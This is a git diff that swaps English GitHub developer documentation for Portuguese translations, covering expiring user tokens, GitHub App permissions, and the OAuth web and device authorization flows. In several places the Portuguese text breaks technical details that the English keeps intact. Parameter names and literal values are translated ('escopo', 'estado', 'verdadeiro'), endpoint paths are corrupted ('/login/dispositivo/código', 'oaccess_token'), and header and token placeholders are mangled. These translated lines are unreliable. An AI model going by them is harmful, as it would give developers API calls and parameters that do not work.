-For more detailed information about rate limits, see "[Rate limiting](/rest/overview/resources-in-the-rest-api#rate-limiting)" for REST API and "[Resource limitations]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/overview/resource-limitations)" for GraphQL API.
+Para obter informações mais detalhadas sobre os limites de taxa, consulte "[Limite de taxa](/rest/overview/resources-in-the-rest-api#rate-limiting)" para API REST e "[Limitações de recursos]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/overview/resource-limitations)" para API do GraphQL.
diff --git a/translations/pt-BR/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md b/translations/pt-BR/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md
index 7acf2cb64a..96cf3cb8e1 100644
--- a/translations/pt-BR/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md
+++ b/translations/pt-BR/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md
@@ -1,6 +1,6 @@
 ---
-title: Refreshing user-to-server access tokens
-intro: 'To enforce regular token rotation and reduce the impact of a compromised token, you can configure your {% data variables.product.prodname_github_app %} to use expiring user access tokens.'
+title: Atualizar tokens de acesso do usuário para servidor
+intro: 'Para aplicar a rotação regular do token e reduzir o impacto de um token comprometido, você pode configurar seu {% data variables.product.prodname_github_app %} para usar tokens de acesso do usuário expirados.'
 redirect_from:
   - /apps/building-github-apps/refreshing-user-to-server-access-tokens
   - /developers/apps/refreshing-user-to-server-access-tokens
@@ -11,35 +11,36 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Refresh user-to-server access
+shortTitle: Atualizar acesso do usuário-servidor
 ---
+
 {% data reusables.pre-release-program.expiring-user-access-tokens %}
 
 
-## About expiring user access tokens
+## Sobre os tokens de acesso do usuário expirados
 
-To enforce regular token rotation and reduce the impact of a compromised token, you can configure your {% data variables.product.prodname_github_app %} to use expiring user access tokens. For more information on making user-to-server requests, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)."
+Para aplicar a rotação regular do token e reduzir o impacto de um token comprometido, você pode configurar seu {% data variables.product.prodname_github_app %} para usar tokens de acesso do usuário expirados. Para obter mais informações sobre como fazer solicitações de usuário para servidor, consulte "[Identificando e autorizando usuários para aplicativos GitHub](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)".
 
-Expiring user tokens expire after 8 hours. When you receive a new user-to-server access token, the response will also contain a refresh token, which can be exchanged for a new user token and refresh token. Refresh tokens are valid for 6 months. 
+Os tokens de usuário expiram após 8 horas. Ao receber um novo token de acesso do usuário para servidor, a resposta também conterá um token de atualização, que pode ser trocado por um novo token de usuário e token de atualização. Os tokens de atualização são válidos por 6 meses.
 
-## Renewing a user token with a refresh token
+## Renovar um token de usuário com um token de atualização
 
-To renew an expiring user-to-server access token, you can exchange the `refresh_token` for a new access token and `refresh_token`.
+Para renovar um token de acesso do usuário para servidor, você pode trocar o `refresh_token` por um novo token de acesso e por `refresh_token`.
 
   `POST https://github.com/login/oauth/access_token`
 
-This callback request will send you a new access token and a new refresh token.  This callback request is similar to the OAuth request you would use to exchange a temporary `code` for an access token. For more information, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#2-users-are-redirected-back-to-your-site-by-github)" and "[Basics of authentication](/rest/guides/basics-of-authentication#providing-a-callback)."
+Esta solicitação de retorno de chamada enviará um novo token de acesso e um novo token de atualização.  Essa solicitação de retorno de chamada é semelhante à solicitação do OAuth que usaria para trocar um `código` temporário por um token de acesso. Para obter mais informações, consulte "[Identificando e autorizando usuários para aplicativos GitHub](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#2-users-are-redirected-back-to-your-site-by-github)" e "[Princípios básicos da autenticação](/rest/guides/basics-of-authentication#providing-a-callback)".
 
-### Parameters
+### Parâmetros
 
-Name | Type | Description
------|------|------------
-`refresh_token` | `string` | **Required.** The token generated when the  {% data variables.product.prodname_github_app %} owner enables expiring tokens and issues a new user access token.
-`grant_type` | `string` | **Required.** Value must be `refresh_token` (required by the OAuth specification).
-`client_id` | `string` | **Required.** The  client ID for your {% data variables.product.prodname_github_app %}.
-`client_secret` | `string`   | **Required.** The  client secret for your {% data variables.product.prodname_github_app %}.
+| Nome            | Tipo     | Descrição                                                                                                                                                                         |
+| --------------- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `refresh_token` | `string` | **Obrigatório.** O token gerado quando o proprietário do {% data variables.product.prodname_github_app %} habilita tokens expirados e emite um novo token de acesso do usuário. |
+| `grant_type`    | `string` | **Obrigatório.** O valor deve ser `refresh_token` (exigido pela especificação do OAuth).                                                                                          |
+| `client_id`     | `string` | **Obrigatório.** O ID do cliente para o seu {% data variables.product.prodname_github_app %}.                                                                                   |
+| `client_secret` | `string` | **Obrigatório.** O segredo do cliente para o seu {% data variables.product.prodname_github_app %}.                                                                              |
 
-### Response
+### Resposta
 
 ```json
 {
@@ -51,35 +52,34 @@ Name | Type | Description
   "token_type": "bearer"
 }
 ```
-## Configuring expiring user tokens for an existing GitHub App
+## Configurar tokens de usuário expirados para um aplicativo GitHub existente
 
-You can enable or disable expiring user-to-server authorization tokens from your {% data variables.product.prodname_github_app %} settings.
+Você pode habilitar ou desabilitar a expiração de tokens de autorização usuário para servidor nas suas configurações do {% data variables.product.prodname_github_app %}.
 
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
-4. Click **Edit** next to your chosen {% data variables.product.prodname_github_app %}.
-  ![Settings to edit a GitHub App](/assets/images/github-apps/edit-test-app.png)
-5. In the left sidebar, click **{% ifversion ghes < 3.1 %} Beta {% else %} Optional {% endif %} Features**.
+4. Clique em **Editar** próximo à sua escolha {% data variables.product.prodname_github_app %}. ![Configurações para edição de um aplicativo GitHub](/assets/images/github-apps/edit-test-app.png)
+5. Na barra lateral esquerda, clique em **{% ifversion ghes < 3.1 %} Funcionalidades {% else %} Opcionais {% endif %} de Beta**.
   {% ifversion ghes < 3.1 %} ![Beta features tab](/assets/images/github-apps/beta-features-option.png) {% else %} ![Optional features tab](/assets/images/github-apps/optional-features-option.png) {% endif %}
-6. Next to "User-to-server token expiration", click **Opt-in** or **Opt-out**. This setting may take a couple of seconds to apply.
+6. Ao lado de "Expiração do token do usuário para o servidor", clique em **Participar** ou **Não participar**. Esta configuração pode levar alguns segundos para ser aplicada.
 
-## Opting out of expiring tokens for new GitHub Apps
+## Não participar dos tokens expirados para novos aplicativos do GitHub
 
-When you create a new {% data variables.product.prodname_github_app %}, by default your app will use expiring user-to-server access tokens.
+Quando você cria um novo {% data variables.product.prodname_github_app %}, por padrão, seu aplicativo usará os tokens de acesso expirados do usuário para servidor.
 
-If you want your app to use non-expiring user-to-server access tokens, you can deselect "Expire user authorization tokens" on the app settings page.
+Se você desejar que o seu aplicativo use tokens de acesso do usuário para servidor que não expiram, você pode desmarcar a opção "Expirar tokens de autorização do usuário" na página de configurações do aplicativo.
 
-![Option to opt-in to expiring user tokens during GitHub Apps setup](/assets/images/github-apps/expire-user-tokens-selection.png)
+![Opção para expirar os tokens dos usuários durante a configuração dos aplicativos GitHub](/assets/images/github-apps/expire-user-tokens-selection.png)
 
-Existing {% data variables.product.prodname_github_apps %} using user-to-server authorization tokens are only affected by this new flow when the app owner enables expiring user tokens for their app.
+Os {% data variables.product.prodname_github_apps %} existentes que usa tokens de autorização de usuário para servidor só são afetados por este novo fluxo quando o proprietário do aplicativo habilita o vencimento de tokens de usuário para seu aplicativo.
 
-Enabling expiring user tokens for existing {% data variables.product.prodname_github_apps %} requires sending users through the OAuth flow to re-issue new user tokens that will expire in 8 hours and making a request with the refresh token to get a new access token and refresh token. For more information, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)."
+Habilitar o vencimento de tokens de usuário para {% data variables.product.prodname_github_apps %} existentes exige o envio de usuários por meio do do fluxo do OAuth para reemitir tokens de usuário que vencerão em 8 horas e fazer uma solicitação com o token de atualização para obter um novo token de acesso e token de atualização. Para obter mais informações, consulte "[Identificar e autorizar usuários para aplicativos GitHub](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)".
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
 
-## Further reading
+## Leia mais
 
-- "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github#githubs-token-formats)"
+- "[Sobre a autenticação em {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github#githubs-token-formats)"
 
 {% endif %}
diff --git a/translations/pt-BR/content/developers/apps/building-github-apps/setting-permissions-for-github-apps.md b/translations/pt-BR/content/developers/apps/building-github-apps/setting-permissions-for-github-apps.md
index df3ebbe72d..c8f24316d8 100644
--- a/translations/pt-BR/content/developers/apps/building-github-apps/setting-permissions-for-github-apps.md
+++ b/translations/pt-BR/content/developers/apps/building-github-apps/setting-permissions-for-github-apps.md
@@ -1,5 +1,5 @@
 ---
-title: Setting permissions for GitHub Apps
+title: Configurando permissões para aplicativos GitHub
 intro: '{% data reusables.shortdesc.permissions_github_apps %}'
 redirect_from:
   - /apps/building-integrations/setting-up-and-registering-github-apps/about-permissions-for-github-apps
@@ -13,6 +13,7 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Set permissions
+shortTitle: Definir permissões
 ---
-GitHub Apps don't have any permissions by default. When you create a GitHub App, you can select the permissions it needs to access end user data. Permissions can also be added and removed. For more information, see "[Editing a GitHub App's permissions](/apps/managing-github-apps/editing-a-github-app-s-permissions/)."
+
+Aplicativos do GitHub não têm quaisquer permissões por padrão. Ao criar um aplicativo GitHub, você pode selecionar as permissões de que precisa para acessar os dados do usuário final. As permissões também podem ser adicionadas e removidas. Para obter mais informações, consulte "[Editando as permissões de um aplicativo GitHub](/apps/managing-github-apps/editing-a-github-app-s-permissions/)".
diff --git a/translations/pt-BR/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md b/translations/pt-BR/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md
index d390f9c8e5..8c73064975 100644
--- a/translations/pt-BR/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md
+++ b/translations/pt-BR/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md
@@ -1,5 +1,5 @@
 ---
-title: Authorizing OAuth Apps
+title: Autorizar aplicativos OAuth
 intro: '{% data reusables.shortdesc.authorizing_oauth_apps %}'
 redirect_from:
   - /apps/building-integrations/setting-up-and-registering-oauth-apps/about-authorization-options-for-oauth-apps
@@ -17,66 +17,67 @@ versions:
 topics:
   - OAuth Apps
 ---
-{% data variables.product.product_name %}'s OAuth implementation supports the standard [authorization code grant type](https://tools.ietf.org/html/rfc6749#section-4.1) and the OAuth 2.0 [Device Authorization Grant](https://tools.ietf.org/html/rfc8628) for apps that don't have access to a web browser.
 
-If you want to skip authorizing your app in the standard way, such as when testing your app, you can use the [non-web application flow](#non-web-application-flow).
+A implementação OAuth de {% data variables.product.product_name %} é compatível com o [ tipo de código de autorização padrão](https://tools.ietf.org/html/rfc6749#section-4.1) e com o OAuth 2.0 [Concessão de Autorização do Dispositivo](https://tools.ietf.org/html/rfc8628) para aplicativos que não têm acesso a um navegador web.
 
-To authorize your OAuth app, consider which authorization flow best fits your app.
+Se você desejar ignorar a autorização do seu aplicativo da forma-padrão, como no teste do seu aplicativo, você poderá usar o fluxo do aplicativo [que não é web](#non-web-application-flow).
 
-- [web application flow](#web-application-flow): Used to authorize users for standard OAuth apps that run in the browser. (The [implicit grant type](https://tools.ietf.org/html/rfc6749#section-4.2) is not supported.){% ifversion fpt or ghae or ghes > 3.0 or ghec %}
-- [device flow](#device-flow):  Used for headless apps, such as CLI tools.{% endif %}
+Para autorizar o seu aplicativo OAuth, considere qual fluxo de autorização melhor se adequa ao seu aplicativo.
 
-## Web application flow
+- [Fluxo de aplicativos web](#web-application-flow): Usado para autorizar usuários para aplicativos OAuth padrão executados no navegador. (O [implícito tipo de concessão](https://tools.ietf.org/html/rfc6749#section-4.2) não é compatível){% ifversion fpt or ghae or ghes > 3.0 or ghec %}
+- [fluxo do dispositivo](#device-flow): usado para sem cabeçalho, como ferramentas de CLI.{% endif %}
+
+## Fluxo do aplicativo web
 
 {% note %}
 
-**Note:** If you are building a GitHub App, you can still use the OAuth web application flow, but the setup has some important differences. See "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)" for more information.
+**Observação:** Se você está criando um aplicativo GitHub, você ainda pode usar o fluxo do aplicativo web OAuth, mas a configuração tem algumas diferenças importantes. Consulte "[Identificando e autorizando usuários para aplicativos GitHub](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)" para obter mais informações.
 
 {% endnote %}
 
-The web application flow to authorize users for your app is:
+O fluxo do aplicativo web para autorizar os usuários para seu aplicativo é:
 
-1. Users are redirected to request their GitHub identity
-2. Users are redirected back to your site by GitHub
-3. Your app accesses the API with the user's access token
+1. Os usuários são redirecionados para solicitar sua identidade do GitHub
+2. Os usuários são redirecionados de volta para o seu site pelo GitHub
+3. Seu aplicativo acessa a API com o token de acesso do usuário
 
-### 1. Request a user's GitHub identity
+### 1. Solicitar identidade do GitHub de um usuário
 
     GET {% data variables.product.oauth_host_code %}/login/oauth/authorize
 
-When your GitHub App specifies a `login` parameter, it prompts users with a specific account they can use for signing in and authorizing your app.
+Quando seu aplicativo GitHub especifica um parâmetro do `login`, ele solicita aos usuários com uma conta específica que podem usar para iniciar sessão e autorizar seu aplicativo.
 
-#### Parameters
+#### Parâmetros
 
-Name | Type | Description
------|------|--------------
-`client_id`|`string` | **Required**. The client ID you received from GitHub when you {% ifversion fpt or ghec %}[registered](https://github.com/settings/applications/new){% else %}registered{% endif %}.
-`redirect_uri`|`string` | The URL in your application where users will be sent after authorization. See details below about [redirect urls](#redirect-urls).
-`login` | `string` | Suggests a specific account to use for signing in and authorizing the app.
-`scope`|`string` | A space-delimited list of [scopes](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). If not provided, `scope` defaults to an empty list for users that have not authorized any scopes for the application. For users who have authorized scopes for the application, the user won't be shown the OAuth authorization page with the list of scopes. Instead, this step of the flow will automatically complete with the set of scopes the user has authorized for the application. For example, if a user has already performed the web flow twice and has authorized one token with `user` scope and another token with `repo` scope, a third web flow that does not provide a `scope` will receive a token with `user` and `repo` scope.
-`state` | `string` | {% data reusables.apps.state_description %}
-`allow_signup`|`string` | Whether or not unauthenticated users will be offered an option to sign up for GitHub during the OAuth flow. The default is `true`. Use `false` when a policy prohibits signups.
+| Nome           | Tipo     | Descrição                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
+| -------------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `client_id`    | `string` | **Obrigatório**. O ID do cliente que você recebeu do GitHub quando você {% ifversion fpt or ghec %}[fez o cadastro](https://github.com/settings/applications/new){% else %}registrados{% endif %}.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| `redirect_uri` | `string` | A URL no seu aplicativo para o qual os usuários serão enviados após a autorização. Veja os detalhes abaixo sobre [redirecionamento das urls](#redirect-urls).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
+| `login`        | `string` | Sugere uma conta específica para iniciar a sessão e autorizar o aplicativo.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
+| `escopo`       | `string` | Uma lista de [escopos](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/) delimitada por espaço. Caso não seja fornecido, o `escopo`-padrão será uma lista vazia para usuários que não autorizaram nenhum escopo para o aplicativo. Para usuários que têm escopos autorizados para o aplicativo, a página de autorização OAuth com a lista de escopos não será exibida para o usuário. Em vez disso, esta etapa do fluxo será concluída automaticamente com o conjunto de escopos que o usuário autorizou para o aplicativo. Por exemplo, se um usuário já executou o fluxo web duas vezes e autorizou um token com escopo do `usuário` e outro token com o escopo do `repositório`, um terceiro fluxo web que não fornece um escopo `` receberá um token com os escopos do `usuário` e do `repositório`. |
+| `estado`       | `string` | {% data reusables.apps.state_description %}
+| `allow_signup` | `string` | Independentemente de os usuários serem autenticados, eles receberão uma opção para inscrever-se no GitHub durante o fluxo do OAuth. O padrão é `verdadeiro`. Use `falso` quando uma política proibir inscrições.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
 
-### 2. Users are redirected back to your site by GitHub
+### 2. Os usuários são redirecionados de volta para o seu site pelo GitHub
 
-If the user accepts your request, {% data variables.product.product_name %} redirects back to your site with a temporary `code` in a code parameter as well as the state you provided in the previous step in a `state` parameter. The temporary code will expire after 10 minutes. If the states don't match, then a third party created the request, and you should abort the process.
+Se o usuário aceitar a sua solicitação, o {% data variables.product.product_name %} redireciona de volta para seu site com `código` temporário em um parâmetro de código, bem como o estado que você forneceu na etapa anterior em um `parâmetro de estado`. O código temporário irá expirar após 10 minutos. Se os estados não corresponderem, significa que uma terceira criou a solicitação, e você deverá abortar o processo.
 
-Exchange this `code` for an access token:
+Troque este `código` por um token de acesso:
 
     POST {% data variables.product.oauth_host_code %}/login/oauth/access_token
 
-#### Parameters
+#### Parâmetros
 
-Name | Type | Description
------|------|--------------
-`client_id` | `string` | **Required.** The client ID you received from {% data variables.product.product_name %} for your {% data variables.product.prodname_oauth_app %}.
-`client_secret` | `string` | **Required.** The client secret you received from {% data variables.product.product_name %} for your {% data variables.product.prodname_oauth_app %}.
-`code` | `string` | **Required.** The code you received as a response to Step 1.
-`redirect_uri` | `string` | The URL in your application where users are sent after authorization.
+| Nome            | Tipo     | Descrição                                                                                                                                                    |
+| --------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `client_id`     | `string` | **Obrigatório.** O ID do cliente que você recebeu do {% data variables.product.product_name %} para o seu {% data variables.product.prodname_oauth_app %}. |
+| `client_secret` | `string` | **Obrigatório.** O segredo do cliente que recebeu do {% data variables.product.product_name %} para o seu {% data variables.product.prodname_oauth_app %}. |
+| `código`        | `string` | **Obrigatório.** O código que você recebeu como resposta ao Passo 1.                                                                                         |
+| `redirect_uri`  | `string` | A URL do seu aplicativo para onde os usuários são enviados após a autorização.                                                                               |
 
-#### Response
+#### Resposta
 
-By default, the response takes the following form:
+Por padrão, a resposta assume o seguinte formato:
 
 ```
 access_token={% ifversion fpt or ghes > 3.1 or ghae or ghec %}gho_16C7e42F292c6912E7710c838347Ae178B4a{% else %}e72e16c7e42f292c6912e7710c838347ae178b4a{% endif %}&scope=repo%2Cgist&token_type=bearer
@@ -102,14 +103,14 @@ Accept: application/xml
 </OAuth>
 ```
 
-### 3. Use the access token to access the API
+### 3. Use o token de acesso para acessar a API
 
-The access token allows you to make requests to the API on a behalf of a user.
+O token de acesso permite que você faça solicitações para a API em nome de um usuário.
 
-    Authorization: token OAUTH-TOKEN
+    Autorização: token OUTH-TOKEN
     GET {% data variables.product.api_url_code %}/user
 
-For example, in curl you can set the Authorization header like this:
+Por exemplo, no cURL você pode definir o cabeçalho de autorização da seguinte forma:
 
 ```shell
 curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product.api_url_pre %}/user
@@ -117,38 +118,38 @@ curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product.api_url_pre
 
 {% ifversion fpt or ghae or ghes > 3.0 or ghec %}
 
-## Device flow
+## Fluxo de dispositivo
 
 {% note %}
 
-**Note:** The device flow is in public beta and subject to change.
+**Nota:** O fluxo do dispositivo está na versão beta pública e sujeito a alterações.
 
 {% endnote %}
 
-The device flow allows you to authorize users for a headless app, such as a CLI tool or Git credential manager.
+O fluxo de dispositivos permite que você autorize usuários para um aplicativo sem cabeçalho, como uma ferramenta de CLI ou um gerenciador de credenciais do Git.
 
-### Overview of the device flow
+### Visão geral do fluxo do dispositivo
 
-1. Your app requests device and user verification codes and gets the authorization URL where the user will enter the user verification code.
-2. The app prompts the user to enter a user verification code at {% data variables.product.device_authorization_url %}.
-3.  The app polls for the user authentication status. Once the user has authorized the device, the app will be able to make API calls with a new access token.
+1. O seu aplicativo solicita o dispositivo e o código de verificação do usuário e obtém a URL de autorização em que o usuário digitará o código de verificação do usuário.
+2. O aplicativo solicita que o usuário insira um código de verificação em {% data variables.product.device_authorization_url %}.
+3.  O aplicativo pesquisa status de autenticação do usuário. Uma vez que o usuário tenha autorizado o dispositivo, o aplicativo poderá fazer chamadas de API com um novo token de acesso.
 
-### Step 1: App requests the device and user verification codes from GitHub
+### Passo 1: O aplicativo solicita o dispositivo e os códigos de verificação de usuário do GitHub
 
     POST {% data variables.product.oauth_host_code %}/login/device/code
 
-Your app must request a user verification code and verification URL that the app will use to prompt the user to authenticate in the next step. This request also returns a device verification code that the app must use to receive an access token and check the status of user authentication.
+O seu aplicativo deve solicitar um código de verificação e uma URL de verificação que o aplicativo usará para solicitar que o usuário seja autenticado na próxima etapa. Essa solicitação também retorna um código de verificação de dispositivo que o aplicativo deve usar para receber um token de acesso e verificar o status da autenticação do usuário.
 
-#### Input Parameters
+#### Parâmetros de entrada
 
-Name | Type | Description
------|------|--------------
-`client_id` | `string` | **Required.** The client ID you received from {% data variables.product.product_name %} for your app.
-`scope` | `string` | The scope that your app is requesting access to.
+| Nome        | Tipo     | Descrição                                                                                                             |
+| ----------- | -------- | --------------------------------------------------------------------------------------------------------------------- |
+| `client_id` | `string` | **Obrigatório.** O ID do cliente que você recebeu do {% data variables.product.product_name %} para o seu aplicativo. |
+| `escopo`    | `string` | O escopo ao qual o seu aplicativo está solicitando acesso.                                                            |
 
-#### Response
+#### Resposta
 
-By default, the response takes the following form:
+Por padrão, a resposta assume o seguinte formato:
 
 ```
 device_code=3584d83530557fdd1f46af8289938c8ef79f9dc5&expires_in=900&interval=5&user_code=WDJB-MJHT&verification_uri=https%3A%2F%{% data variables.product.product_url %}%2Flogin%2Fdevice
@@ -178,43 +179,43 @@ Accept: application/xml
 </OAuth>
 ```
 
-#### Response parameters
+#### Parâmetros de resposta
 
-Name | Type | Description
------|------|--------------
-`device_code` | `string` | The device verification code is 40 characters and used to verify the device.
-`user_code` | `string` | The user verification code is displayed on the device so the user can enter the code in a browser. This code is 8 characters with a hyphen in the middle.
-`verification_uri` | `string` | The verification URL where users need to enter the `user_code`: {% data variables.product.device_authorization_url %}.
-`expires_in` | `integer`| The number of seconds before the `device_code` and `user_code` expire. The default is 900 seconds or 15 minutes.
-`interval` | `integer` | The minimum number of seconds that must pass before you can make a new access token request (`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`) to complete the device authorization. For example, if the interval is 5, then you cannot make a new request until 5 seconds pass. If you make more than one request over 5 seconds, then you will hit the rate limit and receive a `slow_down` error.
+| Nome               | Tipo      | Descrição                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| ------------------ | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `device_code`      | `string`  | O código de verificação do dispositivo tem 40 caracteres e é usado para verificar o dispositivo.                                                                                                                                                                                                                                                                                                                                                                               |
+| `user_code`        | `string`  | O código de verificação do usuário é exibido no dispositivo para que o usuário possa inserir o código no navegador. Este código tem 8 caracteres com um hífen no meio.                                                                                                                                                                                                                                                                                                         |
+| `verification_uri` | `string`  | A URL de verificação em que os usuários devem digitar o código do usuário ``: {% data variables.product.device_authorization_url %}.                                                                                                                                                                                                                                                                                                                                         |
+| `expires_in`       | `inteiro` | O número de segundos antes dos códigos `device_code` e `user_code` expirarem. O padrão é 900 segundos ou 15 minutos.                                                                                                                                                                                                                                                                                                                                                           |
+| `interval`         | `inteiro` | O número mínimo de segundos que decorridos antes de você poder fazer uma nova solicitação de token de acesso (`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`) para concluir a autorização do dispositivo. Por exemplo, se o intervalo for 5, você não poderá fazer uma nova solicitação a partir de 5 segundos. Se você fizer mais de uma solicitação em 5 segundos, você atingirá o limite de taxa e receberá uma mensagem de erro `slow_down`. |
 
-### Step 2: Prompt the user to enter the user code in a browser
+### Passo 2: Solicite ao usuário que insira o código do usuário em um navegador
 
-Your device will show the user verification code and prompt the user to enter the code at {% data variables.product.device_authorization_url %}.
+O seu dispositivo mostrará o código de verificação do usuário e solicitará que o usuário insira o código em {% data variables.product.device_authorization_url %}.
 
-  ![Field to enter the user verification code displayed on your device](/assets/images/github-apps/device_authorization_page_for_user_code.png)
+  ![Campo para digitar o código de verificação do usuário exibido no seu dispositivo](/assets/images/github-apps/device_authorization_page_for_user_code.png)
 
-### Step 3: App polls GitHub to check if the user authorized the device
+### Passo 3: O aplicativo solicita que o GitHub verifique se o usuário autorizou o dispositivo
 
     POST {% data variables.product.oauth_host_code %}/login/oauth/access_token
 
-Your app will make device authorization requests that poll `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`, until the device and user codes expire or the user has successfully authorized the app with a valid user code. The app must use the minimum polling `interval` retrieved in step 1 to avoid rate limit errors. For more information, see "[Rate limits for the device flow](#rate-limits-for-the-device-flow)."
+O seu aplicativo fará solicitações de autorização do dispositivo que pesquisem `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`, até que o dispositivo e códigos de usuário expirem ou o usuário autorizem com sucesso o aplicativo com um código de usuário válido. O aplicativo deve usar o `intervalo` mínimo de sondagem recuperado na etapa 1 para evitar erros de limite de taxa. Para obter mais informações, consulte "[Limites de taxa para o fluxo do dispositivo](#rate-limits-for-the-device-flow)".
 
-The user must enter a valid code within 15 minutes (or 900 seconds). After 15 minutes, you will need to request a new device authorization code with `POST {% data variables.product.oauth_host_code %}/login/device/code`.
+O usuário deve inserir um código válido em de 15 minutos (ou 900 segundos). Após 15 minutos, você deverá solicitar um novo código de autorização do dispositivo com `POST {% data variables.product.oauth_host_code %}/login/dispositivo/código`.
 
-Once the user has authorized, the app will receive an access token that can be used to make requests to the API on behalf of a user.
+Uma vez que o usuário tenha autorizado, o aplicativo receberá um token de acesso que poderá ser usado para fazer solicitações para a API em nome de um usuário.
 
-#### Input parameters
+#### Parâmetros de entrada
 
-Name | Type | Description
------|------|--------------
-`client_id` | `string` | **Required.** The client ID you received from {% data variables.product.product_name %} for your {% data variables.product.prodname_oauth_app %}.
-`device_code` | `string` | **Required.** The device verification code you received from the `POST {% data variables.product.oauth_host_code %}/login/device/code` request.
-`grant_type` | `string` | **Required.** The grant type must be `urn:ietf:params:oauth:grant-type:device_code`.
+| Nome          | Tipo     | Descrição                                                                                                                                                             |
+| ------------- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `client_id`   | `string` | **Obrigatório.** O ID do cliente que você recebeu do {% data variables.product.product_name %} para o seu {% data variables.product.prodname_oauth_app %}.          |
+| `device_code` | `string` | **Obrigatório.** O código de verificação do dispositivo que você recebeu da solicitação `POST {% data variables.product.oauth_host_code %}/login/dispositivo/código`. |
+| `grant_type`  | `string` | **Obrigatório.** O tipo de concessão deve ser `urn:ietf:params:oauth:grant-type:device_code`.                                                                         |
 
-#### Response
+#### Resposta
 
-By default, the response takes the following form:
+Por padrão, a resposta assume o seguinte formato:
 
 ```
 access_token={% ifversion fpt or ghes > 3.1 or ghae or ghec %}gho_16C7e42F292c6912E7710c838347Ae178B4a{% else %}e72e16c7e42f292c6912e7710c838347ae178b4a{% endif %}&token_type=bearer&scope=repo%2Cgist
@@ -240,52 +241,46 @@ Accept: application/xml
 </OAuth>
 ```
 
-### Rate limits for the device flow
+### Limites de taxa para o fluxo do dispositivo
 
-When a user submits the verification code on the browser, there is a rate limit of 50 submissions in an hour per application.
+Quando um usuário envia o código de verificação no navegador, há um limite de taxa de 50 envios por hora por aplicativo.
 
-If you make more than one access token request (`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`) within the required minimum timeframe between requests (or `interval`), you'll hit the rate limit and receive a `slow_down` error response. The `slow_down` error response adds 5 seconds to the last `interval`. For more information, see the [Errors for the device flow](#errors-for-the-device-flow).
+Se você fizer mais de uma solicitação de token de acesso (`POST {% data variables.product.oauth_host_code %}/login/oauth/oaccess_token`) no período mínimo necessário entre solicitações (ou `intervalo`), você atingirá o limite de taxa e receberá uma resposta de erro `slow_down`. A resposta de erro `slow_down`adiciona 5 segundos ao último `intervalo`. Para obter mais informações, consulte [Erros para o fluxo do dispositivo](#errors-for-the-device-flow).
 
-### Error codes for the device flow
+### Códigos de erro para o fluxo do dispositivo
 
-| Error code | Description |
-|----|----|
-| `authorization_pending`| This error occurs when the authorization request is pending and the user hasn't entered the user code yet. The app is expected to keep polling the `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token` request without exceeding the [`interval`](#response-parameters), which requires a minimum number of seconds between each request. |
-| `slow_down` | When you receive the `slow_down` error, 5 extra seconds are added to the minimum `interval` or timeframe required between your requests using `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`. For example, if the starting interval required at least 5 seconds between requests and you get a `slow_down` error response, you must now wait a minimum of 10 seconds before making a new request for an OAuth access token. The error response includes the new `interval` that you must use.
-| `expired_token` | If the device code expired, then you will see the `token_expired` error. You must make a new request for a device code.
-| `unsupported_grant_type` | The grant type must be `urn:ietf:params:oauth:grant-type:device_code` and included as an input parameter when you poll the OAuth token request `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`.
